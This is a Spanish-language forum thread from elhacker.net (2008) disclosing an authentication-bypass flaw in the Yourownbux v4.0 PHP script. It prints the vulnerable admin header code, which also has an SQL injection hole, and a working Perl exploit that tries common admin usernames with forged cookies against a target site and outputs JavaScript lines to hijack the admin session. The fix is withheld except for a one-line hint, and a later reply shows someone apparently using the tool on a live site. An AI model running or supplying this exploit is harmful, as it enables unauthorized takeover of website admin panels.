elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Security Series.XSS. [Cross Site Scripting]


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  [°] Yourownbux v4.0 => Cookie Modification Exploit
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: [°] Yourownbux v4.0 => Cookie Modification Exploit  (Leído 6,840 veces)
Tec-n0x

Desconectado Desconectado

Mensajes: 25


Ver Perfil
[°] Yourownbux v4.0 => Cookie Modification Exploit
« en: 11 Septiembre 2008, 03:51 am »

Bueno, esto lo descubri hace un par de dias .. Ahora lo publico.

Vulnerable: /admin/header.php

Código
  1. <?php
  2.  
  3. $user = $_COOKIE["usNick"];
  4.  
  5. $myDb-&gt;connect();
  6.  
  7. $sql = "SELECT * FROM yob_users WHERE username='$user'";
  8.  
  9. $result = mysql_query($sql);
  10.  
  11. $row = mysql_fetch_array($result);
  12.  
  13. $myDb-&gt;close();
  14.  
  15. $is_admin = $row['user_status'];
  16.  
  17. if($is_admin != "admin"){
  18.  
  19. $display_error = "* You must login as administrator to access this page.";
  20.  
  21. include ('error.php'); exit();
  22.  
  23. }
  24.  
  25. ?>

Como pueden ver, Solo se valida la cookie usNick, por lo tanto si tienes el usuario admin correcto, añadiendo las cookies puedes tener acceso al admin panel.

Y un pequeño Exploit para la explotacion es el siguiente:

Código
  1. #!/usr/bin/perl
  2.  
  3. use LWP::UserAgent;
  4. use HTTP::Request;
  5.  
  6. #+-------------------------------------------------------------+-#
  7. #+ Yourownbux v4.0                   --------------------------+--+
  8. #+ Cookie Modification Exploit --------------------------++
  9. #+ Discovered By: Tec-n0x | 04/9/2008 --------------------++
  10. #
  11. # + Gr33tz: OzX, Celciuz, N.O.X && All Friends --++
  12. #+-------------------------------------------------------------+----#
  13.  
  14.  
  15.  
  16. system("clear");
  17.  
  18. # Yourownbux v4.0 Cookie Modification Exploit\n# Discovered By: Tec-n0x\n\n# Tec-n0x [ at ] hotmail [ dot ] com > DropSec.com
  19. \n# Thanks OzX\n\n";
  20. print "Target [ Example: www.sitedemo.com ] :\n> ";
  21. $target = <STDIN>;
  22. chop($target);
  23.  
  24. if($target =~ m/www\.(.*)\.(.*)/) {
  25.  
  26. $other = $1;
  27. check1($target);
  28.  
  29. } else {
  30. print "\nInvalid Target.";
  31. exit();
  32. }
  33.  
  34. sub explote {
  35.  
  36. @tryusers = ("admina", "administrator", "admins", "admin", "master", "manager", "root", "$other");
  37. # Add Posible Users.
  38.  
  39. $check = shift;
  40.  
  41. foreach $user (@tryusers) {
  42.  
  43. $pass = "Tec-n0x";
  44.  
  45. print "\n\tTrying > $user\n";
  46.  
  47. $browser = LWP::UserAgent->new();
  48. $browser->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14");
  49. $browser->default_header("Cookie" => "usNick=$user; usPass=$pass");
  50. $get = HTTP::Request->new(GET => $check);
  51. $resp = $browser->request($get);
  52. $content = $resp->content();
  53.  
  54. @code = split("\n",$content);
  55.  
  56. foreach $checka (@code) {
  57.  
  58. if($checka =~ m/Emails|Served|Workload|Overview/) {
  59.  
  60. system("clear");
  61.  
  62. print "Succesfull EXPLOTED ...!!\n\nValid Username: $user\n\nGo to: $check\n\n And Put this on your browser:";
  63.  
  64. $vd = "javascript\:document\.cookie = \"usNick=$user\; path=\/\"\;";
  65. $vda = "javascript\:document\.cookie = \"usPass=Dropsec\.com\; path=\/\"\;";
  66.  
  67.  
  68. +------------------------------------+
  69. + $vd\n+ $vda
  70. +------------------------------------+
  71. ";
  72.  
  73.  
  74. $yes = 1;
  75.  
  76. exit();
  77.  
  78. }
  79. }
  80. }
  81.  
  82. if($yes != 1) {
  83.  
  84. print "\n\n\nExploit Failed";
  85.  
  86. exit();
  87.  
  88. }
  89.  
  90. }
  91. sub check1 {
  92.  
  93. $target = shift;
  94.  
  95. $check = "http\:\/\/$target\/admin\/index\.php";
  96.  
  97. $browser = LWP::UserAgent->new();
  98. $browser->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14");
  99. $get = HTTP::Request->new(GET => $check);
  100. $resp = $browser->request($get);
  101. $content = $resp->content();
  102.  
  103. @code = split("\n",$content);
  104.  
  105. foreach $checka (@code) {
  106.  
  107. if($checka =~ m/You must login as administrator to access this page/) {
  108.  
  109. print "Check 1 [ OK ]\n";
  110.  
  111. $success = 1;
  112.  
  113. explote($check);
  114.  
  115. }
  116.  
  117. }
  118.  
  119. if($sucess != 1) {
  120.  
  121. print "Failed";
  122.  
  123. exit();
  124.  
  125. }
  126.  
  127. }
  128.  

El Post original, Clickeando Aqui.

Saludos
« Última modificación: 13 Septiembre 2008, 22:06 pm por sirdarckcat » En línea

sirdarckcat
Aspirante a supervillano
Moderador
***
Desconectado Desconectado

Mensajes: 7.029


No estoy loco, soy mentalmente divergente


Ver Perfil WWW
Re: Yourownbux v4.0 => Cookie Modification Exploit
« Respuesta #1 en: 11 Septiembre 2008, 18:48 pm »

ademas e vulnerable a SQL Injection..
En línea

~Shinji~

Desconectado Desconectado

Mensajes: 2


Ver Perfil
Re: Yourownbux v4.0 => Cookie Modification Exploit
« Respuesta #2 en: 13 Septiembre 2008, 17:29 pm »

Can someone please write how can this problem be solved? thanks! :p

@sirdarckcat: can you write the code? and if you can also the solution :p

THANKS TO ALL!!

-----------

   
¿Puede alguien por favor escribir cómo este problema puede ser resuelto? gracias! :p

@ sirdarckcat: ¿puede usted escribir el código? y si puedes también la solución :p

Gracias a todos!
En línea

Tec-n0x

Desconectado Desconectado

Mensajes: 25


Ver Perfil
Re: Yourownbux v4.0 => Cookie Modification Exploit
« Respuesta #3 en: 13 Septiembre 2008, 17:35 pm »

Edito el mensaje:

Puse el fix pero bueno mejor no :P

La solucion es Simple: Validar la cookie UsPass

~Shinji~  : If you still want the fix contact me via MSN.

« Última modificación: 13 Septiembre 2008, 17:41 pm por Tec-n0x » En línea

~Shinji~

Desconectado Desconectado

Mensajes: 2


Ver Perfil
Re: Yourownbux v4.0 => Cookie Modification Exploit
« Respuesta #4 en: 13 Septiembre 2008, 17:51 pm »

added :)

ps: are you the same as $pass = "Tec-n0x"; ? ;D
« Última modificación: 13 Septiembre 2008, 18:28 pm por ~Shinji~ » En línea

Tec-n0x

Desconectado Desconectado

Mensajes: 25


Ver Perfil
Re: Yourownbux v4.0 => Cookie Modification Exploit
« Respuesta #5 en: 13 Septiembre 2008, 18:58 pm »

added :)

ps: are you the same as $pass = "Tec-n0x"; ? ;D

Yes, i Found the bug.

Link Milw0rm
« Última modificación: 13 Septiembre 2008, 19:04 pm por Tec-n0x » En línea

berz3k
Colaborador
***
Desconectado Desconectado

Mensajes: 1.212



Ver Perfil
Re: Yourownbux v4.0 => Cookie Modification Exploit
« Respuesta #6 en: 13 Septiembre 2008, 21:16 pm »

XDD, esta a simple vista la injection nice! good bug

PD: Creo que su blogroll de tec-n0x hay personajes no queridos XDD

-berz3k.
En línea

Tec-n0x

Desconectado Desconectado

Mensajes: 25


Ver Perfil
Re: Yourownbux v4.0 => Cookie Modification Exploit
« Respuesta #7 en: 13 Septiembre 2008, 21:36 pm »

XDD, esta a simple vista la injection nice! good bug

PD: Creo que su blogroll de tec-n0x hay personajes no queridos XDD

-berz3k.


Sep, tienes razon con lo de la inyeccion ..

El que no sabe donde esta es porque no quiere saber  :P ..

PD: Te envie un MP para que me dijeras quienes son los no queridos XD !

De todas formas los que estan ahi son porque me caen bien y aparte que las 3 webs que puse por ahora .. tienen buen contenido :) Saludos
« Última modificación: 13 Septiembre 2008, 21:41 pm por Tec-n0x » En línea

mit


Desconectado Desconectado

Mensajes: 830

¡Mit!


Ver Perfil WWW
Re: [°] Yourownbux v4.0 => Cookie Modification Exploit
« Respuesta #8 en: 19 Octubre 2008, 05:43 am »

Ya decia yo que te me hacias conocido Tec-nox, eres de GPT latino jeje, amigo aprovechando tu post, tendras algun script de pago instantaneo y con los posibles bugs que tenga, yo tratare de repararlos.

Saludos y buen bug :)

 :D
En línea

DjComand

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: [°] Yourownbux v4.0 => Cookie Modification Exploit
« Respuesta #9 en: 10 Noviembre 2008, 09:36 am »

Hola a todos, estoy empezando con esto de compilar exploits y hacerlos funcionar.

He encontrado una pagina vurnerable a este bug, el resultado es el siguiente:

Valid Username: admin

Go to: http://www.xxxxx.com/admin/index.php

 And Put this on your browser:

+------------------------------------+
+ javascript:document.cookie = "usNick=admin; path=/";
+ javascript:document.cookie = "usPass=Dropsec.com; path=/";


Mi pregunta es, abro el admin/index.php,
Y que tengo que poner?

No me aclaro, puede ser una tonteria pero pensad que soy nuevo en esto :$

Muchas gracias un saludo ;)
En línea


Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines